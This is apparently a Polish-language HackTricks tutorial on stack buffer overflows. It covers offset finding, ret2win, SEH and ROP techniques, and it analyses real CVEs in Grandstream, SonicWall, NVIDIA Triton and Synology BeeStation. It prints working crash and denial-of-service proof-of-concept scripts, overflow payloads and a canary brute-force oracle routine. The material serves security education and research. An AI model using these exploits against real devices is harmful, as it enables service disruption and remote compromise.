Stack Overflow

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest Stack Overflow

stack overflow to luka bezpieczeństwa, która występuje, gdy program zapisuje więcej danych na stack niż zostało dla niego przydzielone. Te dodatkowe dane nadpiszą sąsiednią przestrzeń pamięci, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie uruchomienia złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie sprawdzają granic wejścia.

Głównym problemem tego nadpisania jest to, że saved instruction pointer (EIP/RIP) oraz saved base pointer (EBP/RBP), służące do powrotu do poprzedniej funkcji, są przechowywane na stacku. W związku z tym atakujący będzie mógł je nadpisać i kontrolować przepływ wykonywania programu.

Luka zwykle powstaje, ponieważ funkcja kopiuje na stack więcej bajtów niż zostało dla niej przydzielone, co pozwala na nadpisanie innych części stacka.

Niektóre powszechne funkcje podatne na to to: strcpy, strcat, sprintf, gets… Ponadto funkcje takie jak fgets, read i memcpy, które przyjmują argument określający długość, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż przydzielona.

Na przykład, poniższe funkcje mogą być podatne:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Znalezienie offsetów przepełnienia stosu

Najczęstszym sposobem na znalezienie przepełnienia stosu jest podanie bardzo dużego wejścia z A (np. python3 -c 'print("A"*1000)') i oczekiwanie Segmentation Fault, co wskazuje, że próbowano uzyskać dostęp do adresu 0x41414141.

Co więcej, gdy już stwierdzisz, że istnieje podatność typu przepełnienia stosu, będziesz musiał znaleźć offset pozwalający na nadpisanie adresu powrotu. Do tego zwykle używa się De Bruijn sequence. Dla danego alfabetu o rozmiarze k i podsekwencji długości n jest to cykliczna sekwencja, w której każda możliwa podsekwencja długości n pojawia się dokładnie raz jako spójny podciąg.

Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do przejęcia kontroli nad EIP, można użyć jednej z tych sekwencji jako paddingu, a następnie znaleźć offset bajtów, które ostatecznie nadpisały adres powrotu.

Można do tego użyć pwntools:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

lub GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie nadpisać wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanego EBP/RBP and EIP/RIP (or even more).
Najczęstszym sposobem wykorzystania tego typu podatności jest zmodyfikowanie adresu powrotu, tak aby po zakończeniu funkcji przepływ sterowania został przekierowany tam, gdzie użytkownik wskazał w tym wskaźniku.

Jednak w innych scenariuszach może wystarczyć samo nadpisanie wartości niektórych zmiennych na stosie do przeprowadzenia eksploatacji (np. w prostych zadaniach CTF).

Ret2win

W tego typu zadaniach CTF istnieje funkcja wewnątrz binarki, która nigdy nie jest wywoływana i którą musisz wywołać, aby wygrać. W takich zadaniach wystarczy znaleźć offset do nadpisania adresu powrotu i adres funkcji, którą trzeba wywołać (zwykle ASLR jest wyłączony), tak aby po powrocie z podatnej funkcji została wywołana ukryta funkcja:

Ret2win

Stack Shellcode

W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Na 32-bitowym Windowsie przepełnienie może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego adresu powrotu. W eksploatacji zwykle zastępuje się wskaźnik SEH gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby wrócić do dużego bufora, w którym znajduje się shellcode. Powszechny wzorzec to krótki jmp w nSEH, który trafia na 5-bajtowy near jmp umieszczony tuż przed nSEH, aby przeskoczyć setki bajtów wstecz do początku payloadu.

Windows SEH Overflow

ROP & Ret2… techniques

Ta technika jest podstawowym mechanizmem do obejścia głównej ochrony przeciwko poprzedniej metodzie: No executable stack (NX). Pozwala też wykonać kilka innych technik (ret2lib, ret2syscall…), które kończą się wykonaniem dowolnych poleceń przez wykorzystanie istniejących instrukcji w binarce:

ROP & JOP

Heap Overflows

Przepełnienie nie zawsze będzie na stosie — może też wystąpić w heap, na przykład:

Heap Overflow

Rodzaje zabezpieczeń

Istnieje kilka zabezpieczeń mających na celu uniemożliwienie eksploatacji podatności — zobacz je w:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) udostępnia /cgi-bin/api.values.get na TCP/80 bez uwierzytelniania. Parametr POST request jest rozdzielony dwukropkami; każdy znak kopiowany jest do char small_buffer[64] a token jest zakończony NUL na : lub końcu, bez żadnej kontroli długości, co pozwala pojedynczemu zbyt długiemu tokenowi zniszczyć zapisane rejestry/adres powrotu.
  • PoC overflow (powoduje awarię i wyświetla dane atakującego w rejestrach): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement: każdy dwukropek restartuje parsowanie i dopisuje końcowy NUL. Używając wielu zbyt długich identyfikatorów, terminator każdego tokena może być wyrównany do innego offsetu w uszkodzonej ramce, co pozwala atakującemu umieścić kilka bajtów 0x00 nawet jeśli każde przepełnienie normalnie dodaje tylko jeden. To jest kluczowe, ponieważ binarka bez PIE jest mapowana pod 0x00008000, więc adresy gadgetów ROP zawierają bajty NUL.
  • Przykładowy ładunek z dwukropkami, aby umieścić pięć NUL-ów w wybranych offsetach (długości dopasowane do układu stosu): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksec pokazuje NX enabled, no canary, no PIE. Eksploatacja używa łańcucha ROP zbudowanego z adresów stałych (np. wywołanie system() potem exit()), umieszczając argumenty po zasianiu wymaganych bajtów NUL przy pomocy sztuczki z delimitrami.

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Dobry przykład, dlaczego sscanf nigdy nie powinno być zaufane do parsowania niezaufanego wejścia, pojawił się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN. Wrażliwa funkcja w /usr/src/EasyAccess/bin/httpd próbuje wyciągnąć wersję i endpoint z dowolnego URI, które zaczyna się od /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Pierwsza konwersja (%2s) bezpiecznie zapisuje dwa bajty do version (np. "v1").
  2. Druga konwersja (%s) nie ma specyfikatora długości, dlatego sscanf będzie kopiować aż do pierwszego bajtu NUL.
  3. Ponieważ endpoint znajduje się na stack i jest 0x800 bytes long, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym stack canary i saved return address.

Pojedyncza linia proof-of-concept wystarczy, aby wywołać crash before authentication:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Mimo że stack canaries przerywają działanie procesu, atakujący nadal zyskuje prymityw Denial-of-Service (a przy dodatkowych information leaks, możliwe jest code-execution).

Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele stack-based overflows dostępnych przez jego HTTP API. Wrażliwy wzorzec pojawiał się wielokrotnie w http_server.cc i sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą bieżące ciało żądania HTTP.
  2. Każdy segment powoduje zaalokowanie 16-byte evbuffer_iovec na stack za pomocą alloca()bez żadnego górnego ograniczenia.
  3. Poprzez nadużycie HTTP chunked transfer-encoding, klient może wymusić podział żądania na setki tysięcy 6-byte chunks ("1\r\nA\r\n"). To sprawia, że n rośnie bez ograniczeń, aż do wyczerpania stack.

Dowód koncepcji (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Żądanie ~3 MB wystarcza, by nadpisać saved return address i **crash** the daemon na domyślnym buildzie.

### Przykład z rzeczywistego świata: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Łańcuch Pwn2Own 2025 od Synacktiv wykorzystał pre-auth overflow w `SYNO.BEE.AdminCenter.Auth` na porcie 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer, ale błędnie ustawia `decoded_len = auth_info->len`. Ponieważ CGI worker forks per request, każde child dziedziczy parent’s stack canary, więc jedna stabilna overflow primitive wystarczy zarówno do uszkodzenia stack, jak i leak all required secrets.

#### Base64-decoded JSON jako structured overflow
Zdekodowany blob musi być poprawnym JSON i zawierać klucze `"state"` i `"code"`; w przeciwnym razie parser wyrzuca błąd zanim overflow stanie się użyteczny. Synacktiv rozwiązał to przez Base64-encoding payloadu, który dekoduje się do JSON, następnie NUL byte, a potem overflow stream. `strlen(decoded)` zatrzymuje się na NUL, więc parsowanie się udaje, ale `SLIBCBase64Decode` już nadpisało stos za obiektem JSON, obejmując canary, saved RBP i return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi wywołuje fork przy każdym żądaniu HTTP, więc wszystkie procesy potomne współdzielą tego samego canary, układ stosu i PIE slide. Exploit traktuje kod statusu HTTP jako oracle: odpowiedź 200 oznacza, że odgadnięty bajt zachował układ stosu, natomiast 502 (lub zerwane połączenie) oznacza, że proces się zawiesił. Brute-forcing każdego bajtu szeregowo odzyskuje 8-bajtowy canary, zapisany stack pointer oraz adres powrotu wewnątrz libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr po prostu wywołuje bf_next_byte osiem razy, jednocześnie dopisując potwierdzony prefiks. Synacktiv zrównoleglił te oracles z ~16 wątkami roboczymi, skracając całkowity czas leak (canary + stack ptr + lib base) do poniżej trzech minut.

Od leaks do ROP & wykonania

Gdy znana jest baza biblioteki, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) budują prymityw arb_write, który umieszcza /bin/bash, -c oraz polecenie atakującego na leaked stack address. Na koniec łańcuch ustawia konwencję wywołań dla SLIBCExecl (BeeStation wrapper wokół execl(2)), dając root shell bez potrzeby oddzielnego info-leak buga.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks